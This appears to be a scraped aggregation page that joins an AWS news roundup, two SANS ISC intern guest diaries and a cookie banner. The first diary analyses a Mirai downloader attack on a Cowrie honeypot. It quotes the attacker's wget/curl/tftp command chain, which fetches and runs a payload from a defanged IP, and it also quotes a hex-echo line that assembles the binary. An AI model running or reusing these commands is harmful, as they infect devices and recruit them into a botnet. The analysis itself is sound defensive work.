AWS Marketplace now supports managing Private Marketplace catalogs for OUs – This capability supports distinct product catalogs per business unit or development environment, empowering organizations to align software procurement with specific needs. Additionally, customers can designate a trusted member account as a delegated administrator for Private Marketplace administration, reducing the operational burden on management account administrators. With this launch, organizations can procure more quickly by providing administrators with the agile controls they need to scale their procurement governance across distinct business and user needs.
Join AWS Cloud Clubs Captains – The C3 cohort of AWS Cloud Club Captains is open for applications from February 5–23, 2024, at 5:00 PM EST.
AWS open source news and updates – Our colleague Ricardo writes this weekly open source newsletter highlighting new open source projects, tools, and demos from the AWS Community.
Upcoming AWS events
Check your calendars and sign up for upcoming AWS events:
Building with Generative AI on AWS using PartyRock, Amazon Bedrock and Amazon Q – You will gain skills in prompt engineering and using the Amazon Bedrock API. We will also explore how to “chat with your documents” through knowledge bases, Retrieval Augmented Generation (RAG), embeddings, and agents. We will also use next-generation developer tools Amazon Q and Amazon CodeWhisperer to assist in coding and debugging.
Location: AWS Skills Center, 1550-G Crystal Drive, Arlington, VA
AI/ML security – Artificial intelligence and machine learning (AI/ML) and especially generative AI have become top of mind for many organizations, but even the companies who want to move forward with this new and transformative technology are hesitating. They don’t necessarily understand how they can ensure that what they build will be secure. This webinar explains how they can do that.
AWS Jam Session – Canada Edition – AWS JAM is a gamified learning platform where you come to play, learn, and validate your AWS skills. The morning will include a mix of challenges across various technical domains – security, serverless, AI/ML, analytics, and more. The afternoon will be focused on a different specialty domain each month. You can form teams of up to four people to solve the challenges. There will be prizes for the top three winning teams.
Whether you’re in the Americas, Asia Pacific and Japan, or the EMEA region, there’s an upcoming AWS Innovate Online event that fits your time zone. Innovate Online events are free, online, and designed to inspire and educate you about AWS.
AWS Summits are a series of free online and in-person events that bring the cloud computing community together to connect, collaborate, and learn about AWS. These events are designed to educate you about AWS products and services and help you develop the skills needed to build, deploy, and operate your infrastructure and applications. Find an AWS Summit near you and register or set a notification to know when registration opens for a Summit that interests you.
AWS Community re:Invent re:Caps – Join a Community re:Cap event organized by volunteers from AWS User Groups and AWS Cloud Clubs around the world to learn about the latest announcements from AWS re:Invent.
[This is a Guest Diary by Rafael Larios, an ISC intern as part of the SANS.edu BACS program]
About This Blog Post
This article is about one of the ways attackers on the open Internet are attempting to use the Mirai Botnet [1][2] malware to exploit vulnerabilities on exposed IoT devices. My name is Rafael Larios, and I am a student at the SANS Technology Institute’s Bachelor’s in Applied Cyber Security program. One of the requirements for completion of this degree, is to participate in an internship with the Internet Storm Center as an apprentice handler. Throughout this article, I will provide some insight on an attack method I found to be interesting.
It’s All About Mirai…
There are many sources discussing Mirai and a vulnerability found in IoT devices that allows attackers to join a host to their botnet. This malware still has relevance and continues to be used in attempts to compromise undefended systems. In 2023 at least three CVEs involving Mirai have been reported: CVE-2023-1389 [3], CVE-2023-26801 [4], and CVE-2023-23295 [5]. The malware continues to evolve since its initial creation in 2016. More on the humble origins of this malware can be found in the citations at the end of this article.
What Happened?
This article does not involve malware reverse engineering, but an analysis of how an attacker executed their plans on our honeypot. I observed such an attack using Cowrie that took place on 20 August 2023 that stood out from the list of attacks on the TTY logs. Wikipedia describes Cowrie as “…a medium interaction SSH and Telnet honeypot designed to log brute force attacks and shell interaction performed by an attacker. Cowrie also functions as an SSH and telnet proxy to observe attacker behaviour to another system”. More information can be found on Github:
The size of the recorded attack was significantly larger at 177kb compared to average logged attacks that were half the size or less. After analysis, the observed attack involved a trojan downloader for a botnet.
Playing back the TTY log entry with the Python playlog utility from within Cowrie, I found that the attacker used 51 SSH commands before the connection was terminated. This explains the size of the log.
The attack seemed automated, and involved various system checks, before downloading 312bytes to the /tmp folder with the following command:
wget http://46.29.166[.]61/sh || curl -O http://46.29.166[.]61/sh || tftp 46.29.166[.]61 -c get sh || tftp -g -r sh 46.29.166[.]61; chmod 777 sh;./sh ssh; rm -rf sh
The chain of commands attempts to use built-in Linux tools to download a file called ‘sh’ from an IP address from Moscow, Russian Federation. It wants to either use wget, curl, or tftp to download ‘sh’. It later tries to execute ‘sh’ and the SSH command, only to later remove the downloaded binary ‘sh’.
An error occurred and bash output stated that the command was not found. The attacker then tried to delete any existing files of what it was about to add to the /tmp folder. The following command was used to accomplish this:
rm -rf x86; rm -rf sshdmiori
Afterwards the attacker obtained information about the honeypot’s CPU with the following command:
cat /proc/cpuinfo || while read i; do echo $i; done < /proc/cpuinfo
We now come to the next stage of the attack.
Hexadecimal to Binary Executable
Within the 51 executed commands, 41 of them were hexadecimal numbers being echoed to a file named ‘x86’. Below is one of the 41 commands:
echo -ne "x00x08x00x00x00x00x00x00x00x00x00x10x00x00x00x00x00x51xe5x74x64x06x00x00x00x00x00x00x00x00x00x00" >> x86
After concatenating all of the hexadecimal numbers into a binary file, I was able to acquire the SHA256 hash using CyberChef, a tool created and maintained by GHCQ, and can be accessed on Github as well: https://github.com/gchq/CyberChef
SHA256: b1c22ba1b958ba596afb9b1a5cd49abf4eba8d24e85b86b72eed32acc1745852
Each one of the echo commands were copied and pasted into CyberChef, and a ‘recipe’ was used to decode the string from hexadecimal to binary, and then saved as an executable.
Why All of the Hexadecimal Numbers and Commands?
It is clear that the attacker wanted to evade being detected by assembling the malware binary executable from the victim device, rather than risk triggering anti-malware tools by downloading a malicious executable. When consulting the Mitre ATT&CK Framework, there are two key tactics used in this attack that are worth considering:
Tactic: Execution (TA0002)
Technique: Command and Scripting Interpreter: Unix Shell (T1059.004)
Tactic: Defense Evasion (TA0005)
Technique: Obfuscated Files or Information: Command Obfuscation (T1027.12)
What is It?
The assembled binary’s hash comes up on various databases as malicious, and categorized as a ‘Trojan.Mirai / miraidownloader’ [6], with several entries from community members attributing it to Mirai malware. Not much is known about this Linux elf executable. Many databases list it as a low threat score of 3/10. However, just because the score is low does not mean this binary is safe. More information about the malware sample can be found on Recorded Future’s Triage webpage [7]
How Can Mitigate Against This Kind of Attack?
Our honeypot emulates a poorly defended device on the open Internet. This particular attack scans for open SSH ports attached to devices with weak administrative credentials. Since Mirai based malware targets IoT devices, one of the simplest forms of defense is to change the default password of the IoT device to an unused complex long password (16 characters would be fine). Routers and Apache servers that are targets, should be patched according to the guidance on the CVEs. By not exposing IoT devices unnecessarily to the Internet, we can avoid compromise as well.
Samples of the malware can be downloaded on Virus Total and the Recorded Future[7] websites within the citations below.
[1] What is a Botnet?: https://www.akamai.com/glossary/what-is-a-botnet
[2] What is Mirai?: https://www.cloudflare.com/learning/ddos/glossary/mirai-botnet/
[3] TP-Link WAN-Side Vulnerability CVE-2023-1389 Added to the Mirai Botnet Arsenal: https://www.zerodayinitiative.com/blog/2023/4/21/tp-link-wan-side-vulnerability-cve-2023-1389-added-to-the-mirai-botnet-arsenal
[4] Akamai SIRT Security Advisory: CVE-2023-26801 Exploited to spread Mirai Botnet Malware: https://www.akamai.com/blog/security-research/cve-2023-26801-exploited-spreading-mirai-botnet
[5] Mirai Variant IZ1H9 Exploits: 13 Shocking New Attacks: https://impulsec.com/cybersecurity-news/mirai-variant-iz1h9-exploits/
[6] Virus Total: https://www.virustotal.com/gui/file/b1c22ba1b958ba596afb9b1a5cd49abf4eba8d24e85b86b72eed32acc1745852
[7] Recorded Future Triage: https://tria.ge/230526-dk1rrsde63
[8] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[This is a Guest Diary by Preston Fitzgerald, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].
A DShield honeypot [2] running on a raspberry Pi can sometimes be a bit of a fickle thing. While some may enjoy a ‘set it and forget it’ experience, I’ve found that my device sometimes requires a bit of babysitting. The latest example of this popped up when I connected to the device to inspect logs last week. What began as curiosity about failed log parsing led to learning about the DShield updater.
Background
The honeypot collects various potentially interesting artifacts for analysis. One source of this data is the webhoneypot.json file /srv/db/webhoneypot.json. Using jq, we can quickly parse this JSON for information about what remote hosts we’ve seen or what user agents they presented when they made requests to the honeypot:
Part of the experience of monitoring a system like this is finding what feels good to you and what practices help you produce results. Some handlers will work to implement automation to identify interesting artifacts. Some will hunt and peck around until something catches their eye. One thing I’ve found works for me is periodically dumping information like this to file.
Roadblock ahead
What happened last week? My trusty tool jq returned a cry for help:
parse error: Invalid numeric literal at line 1, column 25165826
honeypot.json is malformed in some way. To make matters worse, the Pi was periodically crashing. It’s difficult to get any meaningful work done when your SSH sessions have a lifespan of 2 minutes. I decided to pull the card so I could inspect it directly, removing the Pi itself from the equation.
I plugged my card reader into a lab machine and instructed VMware to assign ownership of the device to a Slingshot[3] VM.
Figure 1: VMware Workstation can treat a device connected physically to the host as if it were connected directly to the guest Virtual Machine. This feature is accessible in the VM -> Removable Devices menu. This card reader is labeled Super Top Mass Storage Device
With the Pi’s storage now mounted to the VM, it’s possible to navigate to the offending file and inspect it.
Figure 2: Screenshot showing the mounted file system 'rootfs' and the contents of /srv/db including webhoneypot.json
Notably, this file occupies nearly half a gigabyte of the card’s limited storage space. That’s a big text file!
To the toolbox
Where did jq encounter its parsing error again?
parse error: Invalid numeric literal at line 1, column 25165826
It doesn’t like the 25,165,826th character (out of over 450 million total characters). How do we find out what’s in that position? What tools can we use? Another interesting quality of the file is that it consists of one single line. Go-to tools like head and tail are rendered less useful due to the single-line format. Though the file size is within vim’s documented maximum, I found that it struggled to open this file in my virtualized environment.
Thankfully awk’s substring feature will allow us to pluck out just the part of the file we are interested in working with.
Figure 3: Screenshot showing awk’s substring feature. Syntax: substr(string, starting index, length) here we are starting on character 25165820 and grabbing the following 20 characters.
We can begin to see what’s going wrong here by manipulating the starting index and length of the substring and comparing it to prettified JSON that jq is able to output from an earlier entry before it encounters its parsing error:
Figure 4: Screenshot showing expanded substring to get more context before and after the parsing error
Figure 5: Screenshot showing sample JSON structure from part of the document before the parsing error. Here we can see the end of the user agent string underlined in yellow, and the e": 72 part underlined in pink. Comparing the output of awk to the JSON structure we can see just how much information is missing between the two.
The JSON structure has been destroyed because the text is truncated between the user agent and part of the signature_id object. Unfortunately, patching up the structure here and re-running jq revealed that there are many such holes in the data. It didn’t take more than a couple of these mending and jq processing cycles to realize that it was futile to try sewing it all back together.
Pivot
So far, we’ve discovered that we have one very large, corrupted log file. It is too damaged to try to piece back together manually and the structure is too damaged to parse it as JSON. How can we salvage the useful artifacts within?
Let’s forget for a moment that this is meant to be JSON and treat it as any other text. By default, grep will return every line that matches the expression. We can use the -o option to return only the matched part of the data. This is useful because otherwise it would return the entire file on any match.
Return user agents:
Figure 6: Screenshot showing grep output matching the user-agent field in webhoneypot.json
Return hosts:
Figure 7: Screenshot showing grep output matching the IP addresses and ports in webhoneypot.json
There are almost always options and many pathways that lead to success. By reaching for another tool, we can get the information we were looking for.
So what about the Pi?
Let’s quantify my observation that the device was crashing often. Just how often did this happen? I started by copying /var/log/messages from the card over to my local disk.
How much data are we working with? Let’s get a line count:
wc -l messages
This returned over 450,000 messages. That’s good news, we have some information to inspect. How many of those are startup messages?
grep -i booting messages | wc -l
1,371 matches for boot messages. After checking the start and end date of the log, that’s roughly 200 reboots a day on average. Let’s see if syslog has additional details for us. After searching for messages related to initial startup and grabbing lines that appear before those messages, I was able to spot something. The log contains many mentions of reboot.
grep -i /sbin/reboot syslog
Figure 8: Screenshot showing a sample of the grep results for references to /sbin/reboot in syslog
How surprising! The Pi wasn’t crashing, it was being rebooted intentionally by a cron job. I copied the DShield cron located in /etc/cron.d/dshield and took a look at its contents.
grep -i /sbin/reboot dshield
Figure 9: A screenshot showing a number of cron jobs that trigger a reboot
Correction, it’s not a cron job—it’s several. Something has created 216 cron entries to reboot the Pi (this number is familiar, remember our ~200 reboots per day observation from the logs?). What could have made these entries? Let’s search the entire filesystem of the Pi for references to /sbin/reboot
grep -r ?/sbin/reboot? .
Figure 10: A screenshot showing the line in install.sh that appends reboot commands to /etc/cron.d/dshield.
The DShield installer itself creates these entries. I have version 93 which appears to be one version behind the current installer available on GitHub. The installer works by picking random time offsets. Because the firewall log parser uploads the sensor data before rebooting, the intent here is to spread the load so there isn’t a large spike of incoming sensor data at any one time throughout the day. So why would install.sh be running multiple times? You only run it once when you first install the sensor.
The answer is automatic updates. When you initially configure DShield you can enable automatic updates. The update script checks your current version and compares it to the latest version available on GitHub. Remember that my installed version was one behind current.
Figure 11: The updater compares the current DShield version to the latest available. If it sees that we are behind, it checks out the main branch of the repository and performs git pull to download the latest code before running the installer.
Inspecting /srv/log for install logs, it’s clear that the installer is running hundreds of times per day.
Figure 12: A screenshot showing a directory listing of /srv/log where we see timestamped logs indicating the installer was running many times per day.
So what happened?
Knowing for certain which problem happened first will require further log review, but my current hypothesis is this: At some point, the updater started the installer. The installer created a cron job to kick off a reboot but the random time set for the task happened to be very near the current time. The installer was unable to finish its work before the Pi shut itself down. This is supported by the fact that some of the install logs I reviewed seem to end abruptly before the final messages are printed out.
There are several errors found throughout these logs, including missing certificates, failed package update steps, locked log files, and ‘expected programs not found in PATH’. I believe some combination of these problems caused the installer to fail each time it was ran by the updater, resulting in a loop.
Remediation
Re-imaging the Pi will be the simplest way to get us out of this situation, but how could the problem be remediated in the long run?
Regardless of the initial cause of this problem, one potential fix for the issue of redundant cron jobs is this:
Before appending the cron job with the reboot and upload tasks, the installer could delete /etc/cron.d/dshield. It appears this file only has three unique entries:
Figure 13: A screenshot showing the four unique cron jobs used by DShield. We only need these entries, and not the hundreds of redundant lines.
By deleting the file and creating each of these jobs fresh when the installer runs, we can eliminate the risk of creating an 864-line cron configuration file.
It may also be advantageous to move this part of the installer script to the end of the process to eliminate the risk of the reboot firing before the script completes.
Most computer-inclined folks like their processes, their patterns, their Standard Operating Procedures. It’s important that we remain curious and nimble. Sometimes discovering something interesting or useful is the direct result of asking ourselves ‘why’ when something doesn’t seem right. Having the option to throw away a VM or revert it to snapshot is great. Throwing away a docker container that isn’t working the way we expect is convenient. Re-imaging a Pi to get it back to a known-good state helps us jump right back into our work. However, there can be real educational benefit when we slow down and perform troubleshooting on these things we generally view as ephemeral and when we share what we have learned, this can lead to improvements from which we all benefit.
This month we got patches for 80 vulnerabilities. Of these, 5 are critical, and 2 are being exploited according to Microsoft.
Iron Castle Systems
Manage Cookie Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional
Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes.The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
